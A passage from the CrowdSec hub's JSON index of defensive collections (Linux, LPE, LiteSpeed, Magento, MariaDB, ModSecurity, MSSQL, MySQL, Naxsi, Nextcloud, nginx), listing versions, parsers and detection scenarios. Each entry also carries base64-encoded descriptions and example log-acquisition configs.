"collections/crowdsecurity/linux.yaml", "version": "0.2", "versions": { "0.1": { "digest": "8d16483218a979b84549fb020b0342feea3d1f4951294b6994d33a9b7214842f", "deprecated": false }, "0.2": { "digest": "baaa37b12b4d734fab81ae01ff81c58ceb7a99304f21e6bb6ff86b871ed6d5eb", "deprecated": false } }, "long_description": "Kipjb3JlIHBhY2thZ2UgZm9yIGxpbnV4KioKCmNvbnRhaW5zIHN1cHBvcnQgZm9yIHN5c2xvZywgZG8gbm90IHJlbW92ZS4K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGNyb3dkc2VjdXJpdHkvZ2VvaXAtZW5yaWNoCiAgLSBjcm93ZHNlY3VyaXR5L2RhdGVwYXJzZS1lbnJpY2gKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L3NzaGQKZGVzY3JpcHRpb246ICJjb3JlIGxpbnV4IHN1cHBvcnQgOiBzeXNsb2crZ2VvaXArc3NoIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4Cgo=", "description": "core linux support : syslog+geoip+ssh", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "crowdsecurity/geoip-enrich", "crowdsecurity/dateparse-enrich" ], "collections": [ "crowdsecurity/sshd" ] }, "crowdsecurity/linux-lpe": { "path": "collections/crowdsecurity/linux-lpe.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a68ef0b517c988b50b3cdc0d84702b2f70e621d29378b9782b2e037bf6663458", "deprecated": false } }, "long_description": "IyMgTG9jYWwgUHJpdmlsZWdlIEVzY2FsYXRpb24gRGV0ZWN0aW9uCgpUaGlzIGNvbGxlY3Rpb24gYWltcyBhdCBkZXRlY3RpbmcgKHdoZW4gcG9zc2libGUpIGxvY2FsIHByaXZpbGVnZSBlc2NhbGF0aW9uIGF0dGFja3MuCgogLSBDVkUtMjAyMS00MDM0IDogRGV0ZWN0IGV4cGxvaXRhdGlvbiBvZiBwa2V4ZWMgdnVsbmVyYWJpbGl0eQoKOndhcm5pbmc6IFBsZWFzZSBub3RlIHRob3NlIHNjZW5hcmlvcyBhcmUgZGV0ZWN0aW9uIG9ubHksIGFuZCBhcmUgdmVyeSBsaWtlbHkgdG8gYmUgYnlwYXNzZWQgYnkgc21hcnQgYXR0YWNrZXJzLCBkbyBub3QgcmVseSBzb2xlbHkgb24gdGhlbSA6d2FybmluZzoKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9hdXRoLmxvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCmBgYAoKbm90ZXMgOgogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvcGtleGVjLWxvZ3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9DVkUtMjAyMS00MDM0CmNvbGxlY3Rpb25zOgogIC0gY3Jvd2RzZWN1cml0eS9saW51eApkZXNjcmlwdGlvbjogIkxpbnV4IExvY2FsIFByaXZpbGVnZSBFc2NhbGF0aW9uIGNvbGxlY3Rpb24gOiBkZXRlY3QgdHJpdmlhbCBMUEVzIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBwcml2c2VjCiAgLSBscGUKCgo=", "description": "Linux Local Privilege Escalation collection : detect trivial LPEs", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/pkexec-logs" ], "scenarios": [ "crowdsecurity/CVE-2021-4034" ], "collections": [ "crowdsecurity/linux" ] }, "crowdsecurity/litespeed": { "path": "collections/crowdsecurity/litespeed.yaml", "version": "0.1", "versions": { "0.1": { "digest": "c3bfb3dea73e8880ca0598b4ede129f0468361cadabd7ce214f92598348da97e", "deprecated": false } }, "long_description": "IyMgTGl0ZXNwZWVkIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiB0byBkZWZlbmQgbGl0ZXNwZWVkIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgogLSBsaXRlc3BlZWQgcGFyc2VyCiAtIGJhc2UgaHR0cCBzY2VuYXJpb3MgKGNyYXdsLCA0MDQgc2NhbiwgYmYpCiAtIEJydXRlZm9yY2UgYWdhaW5zdCBsaXRlc3BlZWQgYWRtaW4gVUkKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdXNyL2xvY2FsL2xzd3MvWU9VUlZIT1NUL2xvZ3MvKi5sb2cKICAtIC91c3IvbG9jYWwvbHN3cy9hZG1pbi9sb2dzLyoubG9nCiAgLSAvdXNyL2xvY2FsL2xzd3MvbG9ncy8qLmxvZwpsYWJlbHM6CiAgdHlwZTogbGl0ZXNwZWVkCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbGl0ZXNwZWVkLWxvZ3MKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L2Jhc2UtaHR0cC1zY2VuYXJpb3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9saXRlc3BlZWQtYWRtaW4tYmYKZGVzY3JpcHRpb246ICJsaXRlc3BlZWQgc3VwcG9ydCA6IHBhcnNlciBhbmQgZ2VuZXJpYyBodHRwIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaXRlc3BlZWQKICAtIGNyYXdsCiAgLSBzY2FuCgo=", "description": "litespeed support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/litespeed-logs" ], "scenarios": [ "crowdsecurity/litespeed-admin-bf" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/magento": { "path": "collections/crowdsecurity/magento.yaml", "version": "0.1", "versions": { "0.1": { "digest": "9ed2119aafbc789322dcde0e88a1df2912764b98c5e978edb001b67e610f31ad", "deprecated": false } }, "long_description": "IyMgTWFnZW50byBjb2xsZWN0aW9uCgpUaGlzIE1hZ2VudG8gY29sbGVjdGlvbiBzdXBwb3J0cyA6CiAtIFBhcnNlciBmb3IgdGhlIFtDcm93ZFNlYyBNYWdlbnRvIEV4dGVuc2lvbl0oaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0L2F1dGhvci9jcm93ZHNlY3VyaXR5L2JvdW5jZXJzL2NzLW1hZ2VudG8tYm91bmNlcikKIC0gV2ViIGF1dGhlbnRpY2F0aW9uIGJydXRlZm9yY2UgZGV0ZWN0aW9uCiAtIENyZWRpdCBjYXJkIHN0dWZmaW5nIGRldGVjdGlvbiBmcm9tIGEgc2luZ2xlIElQCiAtIERpc3RyaWJ1dGVkIENyZWRpdCBjYXJkIHN0dWZmaW5nIGZyb20gc2FtZSBjb3VudHJ5CgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvd3d3L2h0bWwvbWFnZW50bzIvdmFyL2xvZy9jcm93ZHNlYy1ldmVudHMubG9nCmxhYmVsczoKICB0eXBlOiBtYWdlbnRvLWV4dGVuc2lvbgpgYGAKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgoKCltIZXJlIGlzIHRoZSBkb2N1bWVudGF0aW9uXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYmxvYi9tYWluL2RvYy9VU0VSX0dVSURFLm1kI2V2ZW50cykgdG8gZW5hYmxlIGBFdmVudCBMb2dnaW5nYCBpbiB5b3VyIE1hZ2VudG8gQm91bmNlci4=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGNyb3dkc2VjdXJpdHkvbWFnZW50by1leHRlbnNpb24tbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9kYXRlcGFyc2UtZW5yaWNoCiAgLSBjcm93ZHNlY3VyaXR5L2dlb2lwLWVucmljaApzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2h0dHAtbWFnZW50by1iZgogIC0gY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tY2NzLWJ5LWNvdW50cnkKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1tYWdlbnRvLWNjcy1ieS1hcwogIC0gY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tY2NzCmRlc2NyaXB0aW9uOiAiTWFnZW50byBjb2xsZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIG1hZ2VudG8KICAtIGh0dHAKCg==", "description": "Magento collection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "crowdsecurity/magento-extension-logs", "crowdsecurity/dateparse-enrich", "crowdsecurity/geoip-enrich" ], "scenarios": [ "crowdsecurity/http-magento-bf", "crowdsecurity/http-magento-ccs-by-country", "crowdsecurity/http-magento-ccs-by-as", "crowdsecurity/http-magento-ccs" ] }, "crowdsecurity/mariadb": { "path": "collections/crowdsecurity/mariadb.yaml", "version": "0.1", "versions": { "0.1": { "digest": "88ec0daef18bbbce68c6ae2c0593cf152973221efb630a745f7cbb34feb80ff8", "deprecated": false } }, "long_description": "IyMgTWFyaWFEQiBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIG1hcmlhZGIgc2VydmljZSA6CiAtIG1hcmlhZGIgbG9ncyBwYXJzZXIKIC0gYnJ1dGVmb3JjZSBkZXRlY3Rpb24KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9teXNxbC9lcnJvci5sb2cKbGFiZWxzOgogIHR5cGU6IG15c3FsCmBgYAoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbWFyaWFkYi1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvbWFyaWFkYi1iZgpkZXNjcmlwdGlvbjogIm1hcmlhZGIgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gbWFyaWFkYgogIC0gYnJ1dGVmb3JjZQo=", "description": "mariadb support : logs and brute-force scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/mariadb-logs" ], "scenarios": [ "crowdsecurity/mariadb-bf" ] }, "crowdsecurity/modsecurity": { "path": "collections/crowdsecurity/modsecurity.yaml", "version": "0.1", "versions": { "0.1": { "digest": "530454a9dbdb3800f62de4b8ba7d6ed2160b4e533d577c52393f5f286df2b615", "deprecated": false } }, "long_description": "IyMgTW9kc2VjdXJpdHkgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBtb2RzZWN1cml0eSAodGVzdGVkIG9ubHkgd2l0aCBBcGFjaGUpOgogLSBtb2RzZWN1cml0eSBwYXJzZXI6IGBjcm93ZHNlY3VyaXR5L21vZHNlY3VyaXR5YAogLSBtb2RzZWN1cml0eSBzY2VuYXJpbzogYGNyb3dkc2VjdXJpdHkvbW9kc2VjdXJpdHkKCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvYXBhY2hlMi8qLmxvZwogIC0gL3Zhci9sb2cvbmdpbngvKi5sb2cKbGFiZWxzOgogIHR5cGU6IG1vZHNlY3VyaXR5CmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbW9kc2VjdXJpdHkKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9tb2RzZWN1cml0eQpkZXNjcmlwdGlvbjogIm1vZHNlY3VyaXR5IHN1cHBvcnQgOiBtb2RzZWN1cml0eSBwYXJzZXIgYW5kIHNjZW5hcmlvIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSB3ZWIKICAtIHdhZg==", "description": "modsecurity support : modsecurity parser and scenario", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/modsecurity" ], "scenarios": [ "crowdsecurity/modsecurity" ] }, "crowdsecurity/mssql": { "path": "collections/crowdsecurity/mssql.yaml", "version": "0.1", "versions": { "0.1": { "digest": "109bf56d5781fca733b958588338370d2196a2c3e490eccb94c56df6341a3ba8", "deprecated": false } }, "long_description": "IyMgTVNTUUwgQ29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBNU1NRTCA6CiAtIG1zc3FsIGxvZ3MgcGFyc2VyCiAtIGJydXRlZm9yY2UgZGV0ZWN0aW9uCiAKICMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApzb3VyY2U6IHdpbmV2ZW50bG9nCmV2ZW50X2NoYW5uZWw6IEFwcGxpY2F0aW9uCmV2ZW50X2lkczoKIC0gMTg0NTYKZXZlbnRfbGV2ZWw6IGluZm9ybWF0aW9uCmxhYmVsczoKIHR5cGU6IGV2ZW50bG9nCmBgYAoKbm90ZXM6CiAtICBZb3UgbmVlZCB0byBlbmFibGUgZmFpbGVkIGxvZ2luIGxvZ3MgKHdoaWNoIHNob3VsZCBiZSBvbiBieSBkZWZhdWx0KQ==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbXNzcWwtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L21zc3FsLWJmCmRlc2NyaXB0aW9uOiAibXNzcWwgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSB3aW5kb3dzCiAgLSBtc3NxbAogIC0gYnJ1dGVmb3JjZQo=", "description": "mssql support : logs and brute-force scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/mssql-logs" ], "scenarios": [ "crowdsecurity/mssql-bf" ] }, "crowdsecurity/mysql": { "path": "collections/crowdsecurity/mysql.yaml", "version": "0.1", "versions": { "0.1": { "digest": "77e63a6deedaedc15457691e8631633c15663e796f9e896331d64aa3614fdafc", "deprecated": false } }, "long_description": "IyMgTXlTUUwgQ29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBteXNxbCBzZXJ2aWNlcyA6CiAtIG15c3FsIGxvZ3MgcGFyc2VyCiAtIGJydXRlZm9yY2UgZGV0ZWN0aW9uCiAKICMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9teXNxbC9lcnJvci5sb2cKbGFiZWxzOgogIHR5cGU6IG15c3FsCmBgYAoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbXlzcWwtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L215c3FsLWJmCmRlc2NyaXB0aW9uOiAibXlzcWwgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gbXlzcWwKICAtIGJydXRlZm9yY2UK", "description": "mysql support : logs and brute-force scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/mysql-logs" ], "scenarios": [ "crowdsecurity/mysql-bf" ] }, "crowdsecurity/naxsi": { "path": "collections/crowdsecurity/naxsi.yaml", "version": "0.1", "versions": { "0.1": { "digest": "cd093e3b26795e8ae86898a585ef77509dc988c4841ea49ba61795a7c849b06e", "deprecated": false } }, "long_description": "IyMgTmF4c2kgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIHRvIGRldGVjdCB2aXJ0dWFsIHBhdGNoIHZpb2xhdGlvbnMgOgogLSBuYXhzaSBsb2dzIHBhcnNlcgogLSB2cGF0Y2ggaGlnaCBpZCAoPjk5OTkpIHRyaWdnZXIgcnVsZQoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL25naW54LyoubG9nCmxhYmVsczoKICB0eXBlOiBuZ2lueApgYGAKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKI2dlbmVyaWMgcG9zdC1wYXJzaW5nIG9mIGh0dHAgc3R1ZmYKICAtIGNyb3dkc2VjdXJpdHkvbmdpbngtbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9uYXhzaS1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvbmF4c2ktZXhwbG9pdC12cGF0Y2gKZGVzY3JpcHRpb246ICJuYXhzaSBzdXBwb3J0IDogcGFyc2VyIGFuZCB2cGF0Y2ggc2NlbmFyaW8iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIG5naW54CiAgLSBuYXhzaQogIC0gZXhwbG9pdAoK", "description": "naxsi support : parser and vpatch scenario", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/nginx-logs", "crowdsecurity/naxsi-logs" ], "scenarios": [ "crowdsecurity/naxsi-exploit-vpatch" ] }, "crowdsecurity/nextcloud": { "path": "collections/crowdsecurity/nextcloud.yaml", "version": "0.3", "versions": { "0.1": { "digest": "970735016eb78b0d0c722d7ed426b0edc1efd603547bf8cd5d68c57484e7a855", "deprecated": false }, "0.2": { "digest": "a60b9e37b9f440f290632cdc20832b5a53ce9b59b3ce1d926b4ef40b49776c34", "deprecated": false }, "0.3": { "digest": "d2da4c1ec583f676030446419b7cc2e1b02935965c1ba7f10ffe8fce0e1f4182", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbTmV4dGNsb3VkXShodHRwczovL25leHRjbG91ZC5jb20pIGluc3RhbmNlIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgogLSBOZXh0Y2xvdWQgcGFyc2VyCiAtIE5leHRjbG91ZCBicnV0ZWZvcmNlLCBlbnVtZXJhdGlvbiBhbmQgdHJ1c3RlZCBkb21haW4gZGV0ZWN0aW9uCgo+IENvbnRyaWJ1dGVkIGJ5IEjDpXZhcmQgTW9lbiBhbmQgYTFhZAoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCgogRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKIC0gL3Zhci93d3cvbmV4dGNsb3VkL2RhdGEvbmV4dGNsb3VkLmxvZwpsYWJlbHM6CiAgdHlwZTogTmV4dGNsb3VkCmBgYAoKYGBgeWFtbAotLS0Kc291cmNlOiBqb3VybmFsY3RsCmpvdXJuYWxjdGxfZmlsdGVyOgogIC0gIlNZU0xPR19JREVOVElGSUVSPU5leHRjbG91ZCIKbGFiZWxzOgogIHR5cGU6IHN5c2xvZwpgYGAKLSBVc2UgdGhlIGZpbGVuYW1lIHZlcnNpb24gaWYgeW91IGhhdmUgdGhlIGRlZmF1bHQgW3NldHRpbmddKGh0dHBzOi8vZG9jcy5uZXh0Y2xvdWQuY29tL3NlcnZlci9zdGFibGUvYWRtaW5fbWFudWFsL2NvbmZpZ3VyYXRpb25fc2VydmVyL2NvbmZpZ19zYW1wbGVfcGhwX3BhcmFtZXRlcnMuaHRtbD9oaWdobGlnaHQ9bG9nbGV2ZWwjbG9nZ2luZykgb2YgbG9nZ2luZyB0byBmaWxlCi0gVXNlIHRoZSBqb3VybmFsY3RsIHZlcnNpb24gaWYgeW91IGFyZSBzZW5kaW5nIGxvZ3MgdG8gc3lzbG9nIG9yIHN5c3RlbWQgYW5kIHJlYWQgdGhlIGxvZ3MgZnJvbSBqb3VybmFsZAo=", "content": "LS0tCnBhcnNlcnM6CiAgLSBjcm93ZHNlY3VyaXR5L25leHRjbG91ZC1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L25leHRjbG91ZC13aGl0ZWxpc3QKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9uZXh0Y2xvdWQtYmYKZGVzY3JpcHRpb246ICJOZXh0Y2xvdWQgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZWZvcmNlCiAgLSBuZXh0Y2xvdWQK", "description": "Nextcloud support : parser and brute-force detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/nextcloud-logs", "crowdsecurity/nextcloud-whitelist" ], "scenarios": [ "crowdsecurity/nextcloud-bf" ] }, "crowdsecurity/nginx": { "path": "collections/crowdsecurity/nginx.yaml", "version": "0.2", "versions": { "0.1": { "digest": "5ef06c9a84fbea5b01d901a6a23d5de8de811da5036e5ec4f6a8d00fb096805b", "deprecated": false }, "0.2": { "digest": "334f7e5626a83c576af2dec1360b760991d09b6f418590a174748a4ca00bd1e4", "deprecated": false } }, "long_description": "IyMgTmdpbnggY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBuZ2lueCBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKIC0gbmdpbnggcGFyc2VyIChzdXBwb3J0IGFsc28gaW5ncmVzcyBuZ2lueCBjb250cm9sbGVyIGRlZmF1bHQgW2xvZ19mb3JtYXRdKGh0dHBzOi8va3ViZXJuZXRlcy5naXRodWIuaW8vaW5ncmVzcy1uZ2lueC91c2VyLWd1aWRlL25naW54LWNvbmZpZ3VyYXRpb24vbG9nLWZvcm1hdC8pKQogLSBiYXNlIGh0dHAgc2NlbmFyaW9zIChjcmF3bCwgNDA0IHNjYW4sIGJmKQoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL25naW54LyoubG9nCmxhYmVsczoKICB0eXBlOiBuZ2lueApgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKI2dlbmVyaWMgcG9zdC1wYXJzaW5nIG9mIGh0dHAgc3R1ZmYKICAtIGNyb3dkc2VjdXJpdHkvbmdpbngtbG9ncwpjb2xsZWN0aW9uczoKICAtIGNyb3dkc2VjdXJpdHkvYmFzZS1odHRwLXNjZW5hcmlvcwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L25naW54LXJlcS1saW1pdC1leGNlZWRlZApkZXNjcmlwdGlvbjogIm5naW54IHN1cHBvcnQgOiBwYXJzZXIgYW5kIGdlbmVyaWMgaHR0cCBzY2VuYXJpb3MiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIG5naW54CiAgLSBjcmF3bAogIC0gc2NhbgoK", "description": "nginx support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/nginx-logs" ], "scenarios": [ "crowdsecurity/nginx-req-limit-exceeded" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/nginx-proxy-manager": { "path": "collections/crowdsecurity/nginx-proxy-manager.yaml", "version": "0.1", "versions": { "0.1": { "digest": "fcde72227c4fc913f5472fff55e041aef913a0a4a0143f0ad8ef29bdc2e4e7f9", "deprecated": false } }, "long_description": "IyMgTmdpbnggUHJveHkgTWFuYWdlciBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gZGVmZW5kIG5naW54IGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgogLSBbTmdpbnggUHJveHkgTWFuYWdlcl0oaHR0cHM6Ly9naXRodWIuY29tL05naW54UHJveHlNYW5hZ2VyL25naW54LXByb3h5LW1hbmFnZXIpIHBhcnNlcgogLSBiYXNlIGh0dHAgc2NlbmFyaW9zIChjcmF3bCwgNDA0IHNjYW4sIGJmKQoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIH4vZGF0YS9sb2dzLyoubG9nCmxhYmVsczoKICB0eXBlOiBuZ2lueC1wcm94eS1tYW5hZ2VyCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGNvbmZpZ3VyYXRpb24sIHBhdGhzIHRvIGxvZyBmaWxlcyBta